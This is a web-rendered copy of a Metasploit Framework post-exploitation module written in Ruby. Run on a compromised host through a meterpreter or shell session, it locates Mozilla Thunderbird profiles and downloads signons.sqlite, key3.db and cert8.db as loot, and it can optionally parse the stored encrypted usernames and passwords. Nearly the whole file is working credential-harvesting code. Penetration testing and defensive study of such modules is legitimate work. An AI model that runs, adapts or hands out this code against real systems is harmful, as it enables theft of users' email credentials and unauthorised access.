CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/thunderbird_creds.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Windows::UserProfiles
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Multi Gather Mozilla Thunderbird Signon Credential Collection',
15
'Description' => %q{
16
This module will collect credentials from Mozilla Thunderbird by downloading
17
the necessary files such as 'signons.sqlite', 'key3.db', and 'cert8.db' for
18
offline decryption with third party tools.
19
20
If necessary, you may also set the PARSE option to true to parse the sqlite
21
file, which contains sensitive information such as the encrypted username/password.
22
However, this feature is not enabled by default, because it requires SQLITE3 gem
23
to be installed on your machine.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'sinn3r', # Metasploit
28
],
29
'Platform' => %w[linux osx win],
30
'SessionTypes' => ['meterpreter', 'shell'],
31
'Compat' => {
32
'Meterpreter' => {
33
'Commands' => %w[
34
core_channel_eof
35
core_channel_open
36
core_channel_read
37
core_channel_write
38
stdapi_sys_config_getenv
39
]
40
}
41
}
42
)
43
)
44
45
register_options(
46
[
47
OptBool.new('PARSE', [false, 'Use SQLite3 to parse the database', false])
48
]
49
)
50
end
51
52
def run
53
# Initialize Thunderbird's base path based on the platform
54
case session.platform
55
when 'linux'
56
user = session.shell_command('whoami').chomp
57
base = "/home/#{user}/.thunderbird/"
58
when 'osx'
59
user = session.shell_command('whoami').chomp
60
base = "/Users/#{user}/Library/Thunderbird/Profiles/"
61
when 'windows'
62
if session.type == 'meterpreter'
63
user_profile = session.sys.config.getenv('APPDATA')
64
else
65
user_profile = cmd_exec('echo %APPDATA%').strip
66
end
67
base = user_profile + '\\Thunderbird\\Profiles\\'
68
end
69
70
# Now we have the path for Thunderbird, we still need to enumerate its
71
# random profile names.
72
print_status("Looking for profiles in #{base}...")
73
profiles = get_profile_names(base)
74
75
# Steal!
76
profiles.each do |profile|
77
next if profile =~ /^\./
78
79
slash = (session.platform == 'windows') ? '\\' : '/'
80
p = base + profile + slash
81
82
# Download the database, and attempt to process the content
83
download_loot(p)
84
end
85
end
86
87
#
88
# Download signons.sqlite and key3.db.
89
# The routine will attempt to parse the sqlite db if the PARSE option is true,
90
# and that SQLite3 is installed on the user's box.
91
#
92
def download_loot(p)
93
# These are the files we wanna grab for the directory for future decryption
94
files = ['signons.sqlite', 'key3.db', 'cert8.db']
95
96
files.each do |item|
97
loot = ''
98
99
# Downaload the file
100
if session.type == 'meterpreter'
101
vprint_status("Downloading: #{p + item}")
102
begin
103
f = session.fs.file.new(p + item, 'rb')
104
loot << f.read until f.eof?
105
rescue ::Exception => e
106
ensure
107
f.close
108
end
109
elsif session.type == 'shell'
110
cmd_show = (session.platform == 'windows') ? 'type' : 'cat'
111
# The type command will add a 0x0a character in the file? Pff.
112
# Gotta lstrip that.
113
loot = cmd_exec(cmd_show, "\"#{p + item}\"").lstrip
114
next if loot =~ /system cannot find the file specified|No such file/
115
end
116
117
# Save it
118
ext = ::File.extname(item)
119
ext = ext[1, ext.length]
120
121
path = store_loot(
122
"tb.#{item}",
123
"binary/#{ext}",
124
session,
125
loot,
126
"thunderbird_raw_#{item}",
127
"Thunderbird Raw File #{item}"
128
)
129
130
print_status("#{item} saved in #{path}")
131
132
# Parse signons.sqlite
133
next unless item =~ (/signons\.sqlite/) && datastore['PARSE']
134
135
print_status('Parsing signons.sqlite...')
136
data_tbl = parse(path)
137
if data_tbl.nil? || data_tbl.rows.empty?
138
print_status('No data parsed')
139
else
140
path = store_loot(
141
"tb.parsed.#{item}",
142
'text/plain',
143
session,
144
data_tbl.to_csv,
145
"thunderbird_parsed_#{item}",
146
"Thunderbird Parsed File #{item}"
147
)
148
print_status("Parsed signons.sqlite saved in: #{path}")
149
end
150
end
151
end
152
153
#
154
# Parse the sqlite database.
155
# This thing requires sqlite3 gem, so we don't really recommend it.
156
# The best way is to use railgun, but as of now we don't support that.
157
# Can't just LoadLibrary("sqlite3.dll") or LoadLibrary("mozsqlite3.dll")
158
#
159
def parse(file)
160
begin
161
require 'sqlite3'
162
rescue LoadError
163
print_error("Sorry, SQLite3 not available. We'll have to skip the parser.")
164
return nil
165
end
166
167
# Load the database
168
db = SQLite3::Database.new(file)
169
begin
170
columns, *rows = db.execute('select * from moz_logins')
171
rescue ::Exception => e
172
print_error("doh! #{e}")
173
return nil
174
ensure
175
db.close
176
end
177
178
# Create a rex table to store our data
179
tbl = Rex::Text::Table.new(
180
'Header' => 'Thunderbird login data',
181
'Indent' => 1,
182
'Columns' =>
183
[
184
'hostname',
185
'httpRealm',
186
'formSubmitURL',
187
'usernameField',
188
'passwordField',
189
'encryptedUsername',
190
'encryptedPassword',
191
'guid'
192
]
193
)
194
195
# Parse the db, store the data
196
rows.each do |row|
197
tbl << [
198
row[1], # hostname
199
row[2], # httpRealm
200
row[3], # formSubmitURL (could be nil)
201
row[4], # usernameField
202
row[5], # passwordField
203
row[6], # encryptedUsername
204
row[7], # encryptedPassword
205
row[8] # guid
206
]
207
end
208
209
return tbl
210
end
211
212
#
213
# Return the profile names based on a base path.
214
# The format for the random profile name goes like: [random].default
215
#
216
def get_profile_names(path)
217
tb_profiles = []
218
219
if session.type == 'meterpreter'
220
session.fs.dir.foreach(path) do |subdir|
221
tb_profiles << subdir
222
end
223
else
224
cmd = (session.platform == 'windows') ? "dir \"#{path}\"" : "ls -ld #{path}*/"
225
dir = cmd_exec(cmd)
226
dir.each_line do |line|
227
line = line.strip
228
next if session.platform == 'windows' && line !~ /<DIR>((.+)\.(\w+)$)/
229
next if (session.platform == 'linux' || session.platform == 'osx') && line !~ /(\w+\.\w+)/
230
231
tb_profiles << ::Regexp.last_match(1) if !::Regexp.last_match(1).nil?
232
end
233
end
234
return tb_profiles
235
end
236
end
237
238
=begin
239
If you're really curious about Mozilla's encryption/descryption API, download this:
240
ftp://ftp.mozilla.org/pub/mozilla.org/thunderbird/releases/8.0/source/
241
242
And then read the following files:
243
mozilla/security/manager/ssl/src/nsSDR.cpp
244
mozilla/security/nss/lib/pk11wrap/pk11sdr.c
245
246
Using a 3rd party decryptor is easier because Mozilla uses 2 different databases
247
(SQLite and Berkeley DB) to store the crypto information. This makes proper decryption
248
implementation kind of uneasy, because railgun currently doesn't support SQLite3 and
249
BDB (require special handling -- it's not like you can do LoadLibrary('mozsqlite3.dll')
250
to load the lib). Not to mention you need to borrow several more Mozilla components to
251
do the decryption. BDB gem unfortunately is kind of busted during my testing, so I guess
252
we can pretty much forget about doing the decryption locally... chances are a lot of
253
users would have problems just to get that setup going anyway.
254
=end
255
256